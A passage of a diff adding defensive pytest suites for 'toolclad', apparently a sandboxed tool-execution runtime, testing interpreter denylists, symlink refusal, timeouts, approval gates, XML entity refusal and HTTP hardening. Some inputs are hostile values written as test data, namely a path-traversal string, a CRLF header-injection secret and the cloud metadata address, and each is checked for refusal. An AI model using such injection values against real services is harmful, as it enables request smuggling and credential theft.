Authorization = "Bearer {_secret:api_key}", X-Key = "{_secret:api_key}" } + body_template = '{"k": "{_secret:api_key}"}' + + [output] + format = "json" + """, + ) + env = execute(m, {}, dry_run=True) + assert env["status"] == "dry_run" + assert env["command"] == "POST https://api.example.com/from-file" + assert len(calls) == 1 + + +# --------------------------------------------------------------------------- +# F3: argv[0] resolution and the interpreter denylist +# --------------------------------------------------------------------------- + + +@posix_only +class TestArgv0: + def test_bare_echo_runs(self, tmp_path): + m = _manifest(tmp_path, "echo", ["echo", "hi"]) + env = execute(m, {}) + assert env["status"] == "success", env + assert env["results"]["raw_output"] == "hi\n" + + def test_basename_mismatch_rejected(self, tmp_path): + with pytest.raises(ValueError, match=r"command argv\[0\] 'cat' does not match tool.binary 'echo'"): + _manifest(tmp_path, "echo", ["cat", "/etc/hostname"]) + + def test_full_path_matches_basename(self, tmp_path): + m = _manifest(tmp_path, "echo", ["/bin/echo", "hi"]) + assert m.command.exec[0] == "/bin/echo" + + def test_interpreter_rejected_without_opt_in(self, tmp_path): + with pytest.raises( + ValueError, + match=r"command argv\[0\] 'bash' is an interpreter; set allow_interpreter = true to permit it", + ): + _manifest(tmp_path, "bash", ["bash", "--version"]) + + def test_interpreter_loads_with_opt_in(self, tmp_path): + m = _manifest(tmp_path, "bash", ["bash", "--version"], extra_tool="allow_interpreter = true") + assert m.tool.allow_interpreter is True + + def test_empty_binary_skips_basename_check(self, tmp_path): + m = _manifest(tmp_path, "", ["echo", "hi"]) + assert m.command.exec[0] == "echo" + + def test_unresolvable_binary_is_execution_error(self, tmp_path): + name = "toolclad-no-such-binary" + m = _manifest(tmp_path, name, [name]) + env = execute(m, {}) + assert env["status"] == "error" + assert name in env["results"]["error"] + assert SAFE_PATH in env["results"]["error"] + + def test_vectors_from_shared_file(self, tmp_path): + vectors = {v["id"]: v for v in json.loads(_VECTORS.read_text())["manifest_vectors"]} + for vid in ("shell-as-binary", "binary-basename-mismatch", "zero-timeout"): + assert vectors[vid]["expect"] == "reject" + with pytest.raises(ValueError): + _load(tmp_path, vectors[vid]["manifest"], name=f"{vid}.clad.toml") + for vid in ("minimal-valid-exec", "minimal-valid-template"): + assert vectors[vid]["expect"] == "accept" + with pytest.warns(DeprecationWarning) if "template" in vid else _nullcontext(): + _load(tmp_path, vectors[vid]["manifest"], name=f"{vid}.clad.toml") + + +class _nullcontext: + def __enter__(self): + return self + + def __exit__(self, *exc): + return False + + +# --------------------------------------------------------------------------- +# F4: stdin, cwd, umask, rlimits +# --------------------------------------------------------------------------- + + +@posix_only +class TestSpawnSettings: + def test_stdin_is_dev_null(self, tmp_path): + m = _manifest(tmp_path, "cat", ["cat"], extra_tool="timeout_seconds = 5") + start = time.monotonic() + env = execute(m, {}) + assert time.monotonic() - start < 3 + assert env["status"] == "success", env + assert env["results"]["raw_output"] == "" + + def test_cwd_is_private_scratch_dir(self, tmp_path, monkeypatch, _isolated_env): + kept = [] + monkeypatch.setattr(executor, "_remove_if_empty", lambda p: kept.append(p)) + m = _manifest(tmp_path, "pwd", ["pwd"]) + env = execute(m, {}) + assert env["status"] == "success", env + work = env["results"]["raw_output"].strip() + assert work == os.path.join(str(_isolated_env), f"{env['scan_id']}-work") + assert kept == [work] + assert stat.S_IMODE(os.stat(work).st_mode) == 0o700 + + def test_empty_scratch_dir_removed(self, tmp_path): + m = _manifest(tmp_path, "pwd", ["pwd"]) + env = execute(m, {}) + assert not os.path.exists(env["results"]["raw_output"].strip()) + + def test_scratch_dir_kept_when_tool_writes(self, tmp_path): + m = _manifest(tmp_path, "touch", ["touch", "left-behind"]) + env = execute(m, {}) + assert env["status"] == "success", env + work = os.path.join(os.environ["TOOLCLAD_EVIDENCE_DIR"], f"{env['scan_id']}-work") + created = os.path.join(work, "left-behind") + assert os.path.isfile(created) + # umask 0077 in the child: the file is private. + assert stat.S_IMODE(os.stat(created).st_mode) == 0o600 + + @pytest.mark.skipif(not sys.platform.startswith("linux"), reason="reads /proc/self/limits") + def test_default_rlimits_applied(self, tmp_path): + m = _manifest(tmp_path, "cat", ["cat", "/proc/self/limits"]) + env = execute(m, {}) + assert env["status"] == "success", env + limits = env["results"]["raw_output"] + assert re.search(r"Max core file size\s+0\s+0\s", limits) + assert re.search(r"Max file size\s+1073741824\s+1073741824\s", limits) + assert re.search(r"Max open files\s+1024\s+1024\s", limits) + # NPROC is opt-in: it is counted per user, not per tool tree. + assert not re.search(r"Max processes\s+512\s", limits) + + @pytest.mark.skipif(not sys.platform.startswith("linux"), reason="reads /proc/self/limits") + def test_declared_rlimits_override(self, tmp_path): + m = _manifest( + tmp_path, "cat", ["cat", "/proc/self/limits"], + tail="\n[tool.limits]\nnofile = 64\ncpu_seconds = 30\nnproc = 1000000\n", + ) + assert (m.tool.limits.nofile, m.tool.limits.cpu_seconds) == (64, 30) + env = execute(m, {}) + limits = env["results"]["raw_output"] + assert re.search(r"Max open files\s+64\s+64\s", limits) + assert re.search(r"Max cpu time\s+30\s+30\s", limits) + assert re.search(r"Max processes\s+\d+\s", limits) + + def test_fsize_limit_enforced(self, tmp_path): + m = _load( + tmp_path, + """\ + [tool] + name = "t" + version = "1.0.0" + binary = "dd" + description = "x" + + [tool.limits] + fsize_bytes = 1000 + + [command] + exec = ["dd", "if=/dev/zero", "of=big", "bs=5000", "count=1"] + + [output] + format = "text" + """, + ) + assert m.tool.limits.fsize_bytes == 1000 + env = execute(m, {}) + assert env["status"] == "error", env + work = os.path.join(os.environ["TOOLCLAD_EVIDENCE_DIR"], f"{env['scan_id']}-work") + assert os.path.getsize(os.path.join(work, "big")) <= 1000 + + +# --------------------------------------------------------------------------- +# F5: evidence paths +# --------------------------------------------------------------------------- + + +@posix_only +class TestEvidencePaths: + def test_output_file_matches_table(self, tmp_path, _isolated_env): + m = _manifest(tmp_path, "echo", ["echo", "{_output_file}", "{_scan_id}", "{_evidence_dir}"]) + env = execute(m, {}) + assert env["status"] == "success", env + expected = os.path.join(str(_isolated_env), f"{env['scan_id']}-t", "scan.txt") + assert env["output_file"] == expected + assert env["results"]["raw_output"].split() == [expected, env["scan_id"], str(_isolated_env)] + assert stat.S_IMODE(os.stat(os.path.dirname(expected)).st_mode) == 0o700 + assert stat.S_IMODE(os.stat(str(_isolated_env)).st_mode) == 0o700 + assert stat.S_IMODE(os.stat(expected).st_mode) == 0o600 + + def test_output_dir_exists_before_spawn(self, tmp_path): + # The tool writes {_output_file} itself; that works only if the + # directory was created before the spawn. Its file is kept. + m = _manifest(tmp_path, "touch", ["touch", "{_output_file}"]) + env = execute(m, {}) + assert env["status"] == "success", env + assert os.path.isfile(env["output_file"]) + assert stat.S_IMODE(os.stat(env["output_file"]).st_mode) == 0o600 + + def test_output_dir_honored(self, tmp_path, _isolated_env): + m = _manifest( + tmp_path, "echo", ["echo", "{_output_file}"], + extra_tool='\n[tool.evidence]\noutput_dir = "{evidence_dir}/custom-{scan_id}"\n', + ) + env = execute(m, {}) + expected = os.path.join(str(_isolated_env), f"custom-{env['scan_id']}", "scan.txt") + assert env["output_file"] == expected + assert env["results"]["raw_output"].strip() == expected + + def test_extension_from_format(self, tmp_path): + m = _manifest(tmp_path, "echo", ["echo", "x"]) + m.output.format = "json" + env = execute(m, {}) + assert env["output_file"].endswith("/scan.json") + + def test_scan_ids_unique_and_random(self, tmp_path): + m = _manifest(tmp_path, "echo", ["echo", "x"]) + a = execute(m, {}, dry_run=True)["scan_id"] + b = execute(m, {}, dry_run=True)["scan_id"] + assert a != b + assert _SCAN_ID_RE.match(a) and _SCAN_ID_RE.match(b) + + def test_preplanted_symlink_refused(self, tmp_path, _isolated_env): + target = tmp_path / "victim" + target.write_text("untouched") + fixed = _isolated_env / "fixed" + fixed.mkdir(parents=True) + os.symlink(str(target), str(fixed / "scan.txt")) + m = _manifest( + tmp_path, "echo", ["echo", "overwrite"], + extra_tool='\n[tool.evidence]\noutput_dir = "{evidence_dir}/fixed"\n', + ) + env = execute(m, {}) + assert env["status"] == "error" + assert target.read_text() == "untouched" + + def test_private_write_refuses_symlink(self, tmp_path): + target = tmp_path / "victim" + target.write_text("untouched") + link = tmp_path / "link" + os.symlink(str(target), str(link)) + with pytest.raises(OSError): + executor._write_private_file(str(link), "x") + assert target.read_text() == "untouched" + + +# --------------------------------------------------------------------------- +# W8: timeouts +# --------------------------------------------------------------------------- + + +@posix_only +class TestTimeouts: + def _record_popen(self, monkeypatch): + procs = [] + real = subprocess.Popen + + class Recording(real): # type: ignore[misc, valid-type] + def __init__(self, *a, **kw): + super().__init__(*a, **kw) + procs.append(self) + + monkeypatch.setattr(executor.subprocess, "Popen", Recording) + return procs + + def test_sleep_times_out_and_group_is_gone(self, tmp_path, monkeypatch): + procs = self._record_popen(monkeypatch) + m = _manifest(tmp_path, "sleep", ["sleep", "10"], extra_tool="timeout_seconds = 1") + start = time.monotonic() + env = execute(m, {}) + assert time.monotonic() - start < 5 + assert env["status"] == "timeout" + assert env["exit_code"] == -1 + assert len(procs) == 1 + pid = procs[0].pid + with pytest.raises(ProcessLookupError): + os.kill(pid, 0) + with pytest.raises(ProcessLookupError): + os.killpg(pid, 0) + + def test_partial_output_kept(self, tmp_path): + # cat prints the file, then blocks opening a FIFO that has no writer: + # output before a hang, without a shell or threads. + log = tmp_path / "log.txt" + log.write_text("partial-line\n") + fifo = tmp_path / "never-written" + os.mkfifo(str(fifo)) + m = _manifest(tmp_path, "cat", ["cat", str(log), str(fifo)], extra_tool="timeout_seconds = 1") + env = execute(m, {}) + assert env["status"] == "timeout" + assert env["exit_code"] == -1 + assert "partial-line" in env["results"]["raw_output"] + + def test_zero_timeout_refused_at_load(self, tmp_path): + with pytest.raises(ValueError, match="timeout_seconds must be greater than zero"): + _manifest(tmp_path, "echo", ["echo", "x"], extra_tool="timeout_seconds = 0") + + def test_negative_timeout_refused_at_load(self, tmp_path): + with pytest.raises(ValueError, match="timeout_seconds must be greater than zero"): + _manifest(tmp_path, "echo", ["echo", "x"], extra_tool="timeout_seconds = -5") + + @pytest.mark.parametrize( + "raw,expected", + [(None, 2.0), ("200", 0.2), ("0", 0.0), ("-5", 2.0), ("abc", 2.0), ("", 2.0)], + ) + def test_kill_grace_parsing(self, monkeypatch, raw, expected): + if raw is None: + monkeypatch.delenv("TOOLCLAD_KILL_GRACE_MS", raising=False) + else: + monkeypatch.setenv("TOOLCLAD_KILL_GRACE_MS", raw) + assert executor._kill_grace_seconds() == expected + + def test_sigterm_sent_before_sigkill(self, tmp_path, monkeypatch): + sent = [] + real = os.killpg + + def spy(pgid, sig): + sent.append(sig) + return real(pgid, sig) + + monkeypatch.setattr(executor.os, "killpg", spy) + m = _manifest(tmp_path, "sleep", ["sleep", "10"], extra_tool="timeout_seconds = 1") + env = execute(m, {}) + assert env["status"] == "timeout" + assert sent[0] == signal.SIGTERM + assert signal.SIGKILL in sent + + +def test_executor_hatch_interpreter_refused(tmp_path): + from toolclad.manifest import load_manifest + + p = tmp_path / "hatch.clad.toml" + body = ( + '[tool]\nname = "t"\nversion = "1.0.0"\nbinary = "wrapper"\ndescription = "x"\n\n' + '[command]\nexecutor = "{exe}"\n\n[output]\nformat = "text"\n' + ) + p.write_text(body.replace("{exe}", "/bin/sh")) + with pytest.raises(ValueError, match="'/bin/sh' is an interpreter"): + load_manifest(str(p)) + p.write_text(body.replace("{exe}", "scripts/wrapper.sh")) + load_manifest(str(p)) diff --git a/python/tests/test_hardening_w7_w9_w10.py b/python/tests/test_hardening_w7_w9_w10.py new file mode 100644 index 0000000..1486926 --- /dev/null +++ b/python/tests/test_hardening_w7_w9_w10.py @@ -0,0 +1,696 @@ +"""Policy gate (W7: TC-9), output caps and fail-closed schema validation +(W9: TC-12, TC-14), HTTP hardening and the envelope command (W10: TC-16). + +Every spawned tool is a local coreutils program (echo, seq). The HTTP tests +talk to an ``http.server`` bound to 127.0.0.1 in a thread; nothing else +opens a socket. +""" + +from __future__ import annotations + +import http.server +import json +import os +import textwrap +import threading +import urllib.parse +from pathlib import Path +from typing import Dict, List, Tuple + +import pytest +from click.testing import CliRunner + +from toolclad import ( + GateDecision, + PolicyDenied, + approve_gate, + default_gate, +) +from toolclad.cli import main as cli_main +from toolclad.executor import execute +from toolclad.manifest import load_manifest +from toolclad.schema import SchemaError, schema_error, validate_schema +from toolclad.validator import ValidationError + +_EXAMPLES = Path(__file__).resolve().parents[2] / "examples" + +posix_only = pytest.mark.skipif(os.name != "posix", reason="POSIX spawn path") + + +@pytest.fixture(autouse=True) +def _isolated_env(monkeypatch, tmp_path): + evidence = tmp_path / "evidence" + monkeypatch.setenv("TOOLCLAD_EVIDENCE_DIR", str(evidence)) + monkeypatch.setenv("TOOLCLAD_KILL_GRACE_MS", "200") + for name in ("TOOLCLAD_SECRETS_FILE", "TOOLCLAD_SCOPE_FILE"): + monkeypatch.delenv(name, raising=False) + # The local test server must be reached directly, never via a proxy. + for name in ("http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY", "all_proxy", "ALL_PROXY"): + monkeypatch.delenv(name, raising=False) + return evidence + + +def _load(tmp_path: Path, body: str, name: str = "t.clad.toml"): + path = tmp_path / name + path.write_text(textwrap.dedent(body)) + return load_manifest(str(path)) + + +def _echo(tmp_path: Path, exec_: List[str], *, tool: str = "", args: str = "", output: str = 'format = "text"'): + return _load( + tmp_path, + f"""\ + [tool] + name = "t" + version = "1.0.0" + binary = "{exec_[0]}" + description = "x" + {tool} + + {args} + + [command] + exec = {json.dumps(exec_)} + + [output] + {output} + """, + ) + + +# --------------------------------------------------------------------------- +# Local HTTP server +# --------------------------------------------------------------------------- + + +class _Server: + """A 127.0.0.1 server that records request paths and serves canned + responses keyed by path.""" + + def __init__(self, routes: Dict[str, Tuple[int, Dict[str, str], bytes]]): + self.requests: List[Tuple[str, Dict[str, str]]] = [] + outer = self + + class Handler(http.server.BaseHTTPRequestHandler): + def _serve(self): + outer.requests.append((self.path, dict(self.headers))) + status, headers, body = routes.get( + urllib.parse.urlsplit(self.path).path, (404, {}, b"missing") + ) + self.send_response(status) + for k, v in headers.items(): + self.send_header(k, v) + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + do_GET = _serve + do_POST = _serve + + def log_message(self, *a): + pass + + self.httpd = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Handler) + self.port = self.httpd.server_address[1] + self.thread = threading.Thread(target=self.httpd.serve_forever, daemon=True) + self.thread.start() + + def close(self): + self.httpd.shutdown() + self.httpd.server_close() + + +@pytest.fixture +def server(): + created: List[_Server] = [] + + def make(routes): + s = _Server(routes) + created.append(s) + return s + + yield make + for s in created: + s.close() + + +def _http_manifest(tmp_path: Path, url: str, *, tool: str = "", args: str = "", headers: str = "", output: str = 'format = "text"'): + return _load( + tmp_path, + f"""\ + [tool] + name = "h" + version = "1.0.0" + description = "x" + {tool} + + {args} + + [http] + method = "GET" + url = "{url}" + {headers} + + [output] + {output} + """, + ) + + +# --------------------------------------------------------------------------- +# W7: policy gate +# --------------------------------------------------------------------------- + + +@posix_only +class TestPolicyGate: + def test_human_approval_denied_and_nothing_ran(self, tmp_path, _isolated_env): + m = _echo(tmp_path, ["echo", "hi"], tool="human_approval = true") + with pytest.raises(PolicyDenied) as exc: + execute(m, {}) + assert str(exc.value) == ( + "policy gate denied: manifest requires human approval (human_approval = true)" + ) + # Nothing was prepared or spawned: no evidence directory exists. + assert not _isolated_env.exists() + + @pytest.mark.parametrize("tier", ["high", "critical"]) + def test_high_risk_tiers_denied(self, tmp_path, tier, _isolated_env): + m = _echo(tmp_path, ["echo", "hi"], tool=f'risk_tier = "{tier}"') + with pytest.raises(PolicyDenied, match=f"^policy gate denied: risk_tier '{tier}' requires explicit approval$"): + execute(m, {}) + assert not _isolated_env.exists() + + @pytest.mark.parametrize("tier", ["info", "low", "medium"]) + def test_lower_tiers_allowed(self, tmp_path, tier): + m = _echo(tmp_path, ["echo", "hi"], tool=f'risk_tier = "{tier}"') + env = execute(m, {}) + assert env["status"] == "success" + + def test_approve_and_approve_gate_run_it(self, tmp_path): + m = _echo(tmp_path, ["echo", "hi"], tool='human_approval = true\nrisk_tier = "critical"') + assert execute(m, {}, approve=True)["results"]["raw_output"] == "hi\n" + assert execute(m, {}, gate=approve_gate)["status"] == "success" + + def test_gate_and_approve_together_is_an_error(self, tmp_path): + m = _echo(tmp_path, ["echo", "hi"]) + with pytest.raises(ValueError, match="not both"): + execute(m, {}, gate=approve_gate, approve=True) + + def test_custom_gate_sees_validated_values_and_its_reason_reaches_caller(self, tmp_path): + m = _echo( + tmp_path, + ["echo", "{n}"], + args='[args.n]\nposition = 1\nrequired = true\ntype = "integer"', + ) + seen = [] + + def gate(manifest, values): + seen.append(dict(values)) + if values["n"] == "13": + return GateDecision.deny("unlucky number") + return GateDecision.allow() + + with pytest.raises(PolicyDenied, match="^policy gate denied: unlucky number$"): + execute(m, {"n": "+13"}, gate=gate) + assert seen == [{"n": "13"}] # the cleaned value, not the raw input + assert execute(m, {"n": "7"}, gate=gate)["status"] == "success" + + def test_validation_error_wins_over_gate_denial(self, tmp_path): + m = _echo( + tmp_path, + ["echo", "{n}"], + tool="human_approval = true", + args='[args.n]\nposition = 1\nrequired = true\ntype = "integer"', + ) + with pytest.raises(ValidationError): + execute(m, {"n": "abc"}) + with pytest.raises(ValidationError): + execute(m, {}) + + def test_dry_run_is_not_gated(self, tmp_path): + m = _echo(tmp_path, ["echo", "hi"], tool="human_approval = true") + assert execute(m, {}, dry_run=True)["status"] == "dry_run" + + def test_default_gate_direct(self, tmp_path): + m = _echo(tmp_path, ["echo", "hi"]) + assert default_gate(m, {}) == GateDecision.allow() + + def test_http_path_is_gated(self, tmp_path, server): + srv = server({"/x": (200, {}, b"ok")}) + m = _http_manifest(tmp_path, f"http://127.0.0.1:{srv.port}/x", tool="human_approval = true") + with pytest.raises(PolicyDenied): + execute(m, {}) + assert srv.requests == [] + assert execute(m, {}, approve=True)["status"] == "success" + assert len(srv.requests) == 1 + + def test_mcp_path_is_gated(self, tmp_path): + m = _load( + tmp_path, + """\ + [tool] + name = "m" + version = "1.0.0" + description = "x" + risk_tier = "high" + + [mcp] + server = "s" + tool = "t" + + [output] + format = "json" + """, + ) + with pytest.raises(PolicyDenied, match="risk_tier 'high'"): + execute(m, {}) + assert execute(m, {}, approve=True)["status"] == "delegation_preview" + assert execute(m, {}, dry_run=True)["status"] == "dry_run" + + +@posix_only +class TestGateCli: + def test_nikto_example_refused_without_approve(self): + # Never run with --approve: that would execute nikto. The Python + # ``run`` does not resolve project custom types yet, so the CLI may + # stop before the gate; either way it exits non-zero with no + # envelope, and the default gate denies the manifest. + path = str(_EXAMPLES / "nikto_scan.clad.toml") + result = CliRunner().invoke(cli_main, ["run", path, "--arg", "target=93.184.216.34"]) + assert result.exit_code != 0 + assert '"status"' not in result.output + decision = default_gate(load_manifest(path), {}) + assert decision == GateDecision.deny( + "manifest requires human approval (human_approval = true)" + ) + + def test_run_with_approve_on_echo_manifest(self, tmp_path): + path = tmp_path / "e.clad.toml" + path.write_text( + textwrap.dedent( + """\ + [tool] + name = "e" + version = "1.0.0" + binary = "echo" + description = "x" + human_approval = true + + [command] + exec = ["echo", "approved"] + + [output] + format = "text" + """ + ) + ) + denied = CliRunner().invoke(cli_main, ["run", str(path)]) + assert denied.exit_code != 0 + assert "policy gate denied:" in denied.output + ok = CliRunner().invoke(cli_main, ["run", str(path), "--approve"]) + assert ok.exit_code == 0, ok.output + assert json.loads(ok.output)["results"]["raw_output"] == "approved\n" + shown = CliRunner().invoke(cli_main, ["test", str(path)]) + assert shown.exit_code == 0, shown.output + assert "Approval: required" in shown.output + + +# --------------------------------------------------------------------------- +# W9: output caps, XML, schema +# --------------------------------------------------------------------------- + + +@posix_only +class TestOutputCap: + def test_stdout_capped_and_flagged(self, tmp_path): + m = _echo(tmp_path, ["seq", "1", "5000"], output='format = "text"\nmax_bytes = 1024') + env = execute(m, {}) + assert env["status"] == "success" + assert env["output_truncated"] is True + assert len(env["results"]["raw_output"].encode()) == 1024 + # The evidence file the runtime writes holds the capped stdout. + assert os.path.getsize(env["output_file"]) == 1024 + + def test_small_output_not_flagged(self, tmp_path): + m = _echo(tmp_path, ["echo", "hi"], output='format = "text"\nmax_bytes = 1024') + env = execute(m, {}) + assert "output_truncated" not in env + assert env["results"]["raw_output"] == "hi\n" + + @pytest.mark.parametrize("value", ["0", "-1", '"1k"', "1.5", "true", str((1 << 30) + 1)]) + def test_bad_max_bytes_is_a_load_error(self, tmp_path, value): + with pytest.raises(ValueError, match="max_bytes"): + _echo(tmp_path, ["echo", "hi"], output=f'format = "text"\nmax_bytes = {value}') + + @pytest.mark.parametrize("value", ["1", str(1 << 30)]) + def test_max_bytes_bounds_accepted(self, tmp_path, value): + m = _echo(tmp_path, ["echo", "hi"], output=f'format = "text"\nmax_bytes = {value}') + assert m.output.max_bytes == int(value) + + +@posix_only +class TestXmlHardening: + def test_doctype_refused(self, tmp_path): + xml = ']>&a;' + m = _echo(tmp_path, ["echo", xml], output='format = "xml"') + env = execute(m, {}) + assert env["status"] == "parse_error" + assert env["results"]["parse_error"] == ( + "XML output contains a DOCTYPE or ENTITY declaration; refusing to parse" + ) + assert env["results"]["raw_output"] == xml + "\n" + + def test_lowercase_entity_refused(self, tmp_path): + m = _echo(tmp_path, ["echo", ''], output='format = "xml"') + assert execute(m, {})["status"] == "parse_error" + + def test_plain_xml_parses(self, tmp_path): + m = _echo(tmp_path, ["echo", ''], output='format = "xml"') + env = execute(m, {}) + assert env["status"] == "success" + assert env["results"] == {"hosts": {"host": {"@addr": "1.2.3.4"}}} + + +class TestSchemaValidator: + def test_type_and_path(self): + schema = { + "type": "object", + "properties": { + "hosts": { + "type": "array", + "items": {"type": "object", "properties": {"port": {"type": "integer"}}}, + } + }, + } + assert schema_error({"hosts": [{"port": 1}, {"port": "x"}]}, schema) == ( + "/hosts/1/port: expected integer, got string" + ) + assert schema_error({"hosts": [{"port": 1}]}, schema) is None + + def test_root_path_renders_as_slash(self): + assert schema_error([], {"type": "object"}) == "/: expected object, got array" + + def test_type_list_and_null(self): + assert schema_error(None, {"type": ["string", "null"]}) is None + assert schema_error(1, {"type": ["string", "null"]}) is not None + + def test_integer_accepts_whole_float(self): + assert schema_error(30.0, {"type": "integer"}) is None + assert schema_error(30.5, {"type": "integer"}) == "/: expected integer, got number" + assert schema_error(True, {"type": "integer"}) is not None + assert schema_error(3, {"type": "number"}) is None + + def test_required_and_additional_properties(self): + schema = { + "type": "object", + "properties": {"a": {}}, + "required": ["a"], + "additionalProperties": False, + } + assert schema_error({}, schema) == "/: missing required property 'a'" + assert schema_error({"a": 1, "b": 2}, schema) == "/b: additional property is not allowed" + assert schema_error({"a": 1}, schema) is None + + def test_enum_deep_equality(self): + schema = {"enum": [{"k": [1, 2]}, "x"]} + assert schema_error({"k": [1, 2]}, schema) is None + assert schema_error({"k": [2, 1]}, schema) is not None + assert schema_error(1, {"enum": [True]}) is not None + + def test_numeric_bounds_inclusive(self): + schema = {"minimum": 1, "maximum": 3} + assert schema_error(1, schema) is None + assert schema_error(3, schema) is None + assert schema_error(0, schema) is not None + assert schema_error(4, schema) is not None + + def test_string_lengths_in_code_points(self): + schema = {"minLength": 2, "maxLength": 3} + assert schema_error("éé", schema) is None + assert schema_error("é", schema) is not None + assert schema_error("abcd", schema) is not None + + def test_pattern_is_anchored(self): + assert schema_error("abc", {"pattern": "b"}) is not None + assert schema_error("b", {"pattern": "b"}) is None + assert schema_error("b\n", {"pattern": "b"}) is not None + assert schema_error("ab", {"pattern": "a|ab"}) is None + + def test_nested_items(self): + schema = {"type": "array", "items": {"type": "array", "items": {"type": "string"}}} + assert schema_error([["a"], ["b", 2]], schema) == "/1/1: expected string, got integer" + + def test_unknown_keywords_ignored(self): + assert schema_error("x", {"format": "uri", "x-whatever": 1}) is None + + def test_first_failure_in_document_order(self): + schema = {"type": "object", "properties": {"a": {"type": "string"}, "b": {"type": "string"}}} + assert schema_error({"a": 1, "b": 2}, schema).startswith("/a:") + + def test_pointer_escaping(self): + schema = {"properties": {"a/b": {"type": "string"}}} + assert schema_error({"a/b": 1}, schema).startswith("/a~1b:") + + def test_validate_raises(self): + with pytest.raises(SchemaError): + validate_schema(1, {"type": "string"}) + + +_OK_SCHEMA = """ +[output.schema] +type = "object" +required = ["ok"] + +[output.schema.properties.ok] +type = "boolean" +""" + + +@posix_only +class TestFailClosed: + def test_schema_error(self, tmp_path): + m = _echo(tmp_path, ["echo", '{{"ok": "yes"}}'], output='format = "json"\n' + _OK_SCHEMA) + env = execute(m, {}) + assert env["status"] == "schema_error" + assert env["results"] == { + "schema_error": "/ok: expected boolean, got string", + "raw_output": '{"ok": "yes"}\n', + } + assert env["exit_code"] == 0 + + def test_schema_success(self, tmp_path): + m = _echo(tmp_path, ["echo", '{{"ok": true}}'], output='format = "json"\n' + _OK_SCHEMA) + env = execute(m, {}) + assert env["status"] == "success" + assert env["results"] == {"ok": True} + + def test_parse_error(self, tmp_path): + m = _echo(tmp_path, ["echo", "not json"], output='format = "json"\n' + _OK_SCHEMA) + env = execute(m, {}) + assert env["status"] == "parse_error" + assert env["results"]["parse_error"].startswith("JSON parse failed") + assert env["results"]["raw_output"] == "not json\n" + + def test_non_object_json_is_wrapped(self, tmp_path): + m = _echo(tmp_path, ["echo", "[1, 2]"], output='format = "json"') + env = execute(m, {}) + assert env["status"] == "success" + assert env["results"] == {"parsed_output": [1, 2]} + + def test_jsonl_and_csv_are_normalized(self, tmp_path): + m = _echo(tmp_path, ["echo", '{{"a": 1}}'], output='format = "jsonl"') + assert execute(m, {})["results"] == {"parsed_output": [{"a": 1}]} + m = _echo(tmp_path, ["echo", "a,b"], output='format = "csv"', ) + assert execute(m, {})["results"] == {"parsed_output": []} + + def test_csv_schema_applies_to_normalized_shape(self, tmp_path): + schema = """ +[output.schema] +type = "object" +required = ["parsed_output"] + +[output.schema.properties.parsed_output] +type = "array" +""" + m = _echo(tmp_path, ["printf", "port\\n30.0\\n"], output='format = "csv"\n' + schema) + env = execute(m, {}) + assert env["status"] == "success", env + assert env["results"] == {"parsed_output": [{"port": 30.0}]} + + +class TestParserAtLoad: + def test_custom_parser_refused(self, tmp_path): + with pytest.raises(ValueError) as exc: + _echo(tmp_path, ["echo", "x"], output='format = "json"\nparser = "scripts/x.py"') + assert str(exc.value) == ( + 'custom output parsers are not supported by the reference runtimes ' + '(parser = "scripts/x.py")' + ) + + @pytest.mark.parametrize("parser", ["json", "jsonl", "csv", "xml", "text"]) + def test_builtins_accepted(self, tmp_path, parser): + m = _echo(tmp_path, ["echo", "x"], output=f'format = "text"\nparser = "builtin:{parser}"') + assert m.output.parser == f"builtin:{parser}" + + +# --------------------------------------------------------------------------- +# W10: HTTP backend and the envelope command +# --------------------------------------------------------------------------- + + +_STRING_ARG = '[args.{name}]\nposition = 1\nrequired = true\ntype = "string"' + + +class TestHttpUrlEncoding: + def test_path_value_cannot_change_structure(self, tmp_path): + m = _http_manifest( + tmp_path, + "https://api.example.com/{endpoint}", + args=_STRING_ARG.format(name="endpoint"), + ) + env = execute(m, {"endpoint": "../admin?role=admin"}, dry_run=True) + method, url = env["command"].split(" ", 1) + assert url == "https://api.example.com/..%2Fadmin%3Frole%3Dadmin" + parts = urllib.parse.urlsplit(url) + assert parts.hostname == "api.example.com" + assert "/admin" not in parts.path + assert parts.query == "" + + def test_query_value_encodes_ampersand_and_equals(self, tmp_path): + m = _http_manifest( + tmp_path, + "https://api.example.com/search?q={q}", + args=_STRING_ARG.format(name="q"), + ) + # ``&`` is refused by the string validator before it gets here; the + # remaining query delimiters a string admits are encoded. + env = execute(m, {"q": "a=1#frag?x%"}, dry_run=True) + url = env["command"].split(" ", 1)[1] + assert url == "https://api.example.com/search?q=a%3D1%23frag%3Fx%25" + parts = urllib.parse.urlsplit(url) + assert parts.fragment == "" + assert urllib.parse.parse_qs(parts.query) == {"q": ["a=1#frag?x%"]} + + @pytest.mark.parametrize( + "url", + [ + "https://{host}/x", + "{scheme}://api.example.com/x", + "https://api.example.com:{port}/x", + "https://{_secret:host}/x", + "{whole}", + ], + ) + def test_placeholder_in_scheme_or_host_is_a_load_error(self, tmp_path, url): + with pytest.raises(ValueError, match="^http.url may not interpolate into the scheme or host$"): + _http_manifest(tmp_path, url) + + def test_metadata_literal_host_refused_at_load(self, tmp_path): + with pytest.raises(ValueError, match="link-local|metadata"): + _http_manifest(tmp_path, "http://169.254.169.254/latest") + + def test_loopback_literal_without_url_arg_loads(self, tmp_path): + m = _http_manifest(tmp_path, "http://127.0.0.1:8080/x") + assert m.http.url == "http://127.0.0.1:8080/x" + + +class TestHttpHeaders: + def test_crlf_after_interpolation_refused(self, tmp_path, monkeypatch, server): + srv = server({"/x": (200, {}, b"ok")}) + monkeypatch.setenv("TOOLCLAD_SECRET_TOKEN", "a\r\nX-Injected: 1") + m = _http_manifest( + tmp_path, + f"http://127.0.0.1:{srv.port}/x", + headers='headers = { X-Token = "{_secret:token}" }', + ) + with pytest.raises(ValueError, match="CR or LF"): + execute(m, {}) + assert srv.requests == [] + + def test_invalid_header_name_refused_at_load(self, tmp_path): + with pytest.raises(ValueError, match="header name"): + _http_manifest( + tmp_path, "https://api.example.com/x", headers='headers = { "Bad Name" = "v" }' + ) + + +class TestHttpLive: + def test_redirect_is_not_followed(self, tmp_path, server): + srv = server({"/r": (302, {"Location": "http://127.0.0.1:1/"}, b"moved")}) + m = _http_manifest(tmp_path, f"http://127.0.0.1:{srv.port}/r") + env = execute(m, {}) + assert env["status"] == "redirect_blocked" + assert env["http_status"] == 302 + assert env["results"] == {"location": "http://127.0.0.1:1/", "raw_output": "moved"} + assert len(srv.requests) == 1 + + def 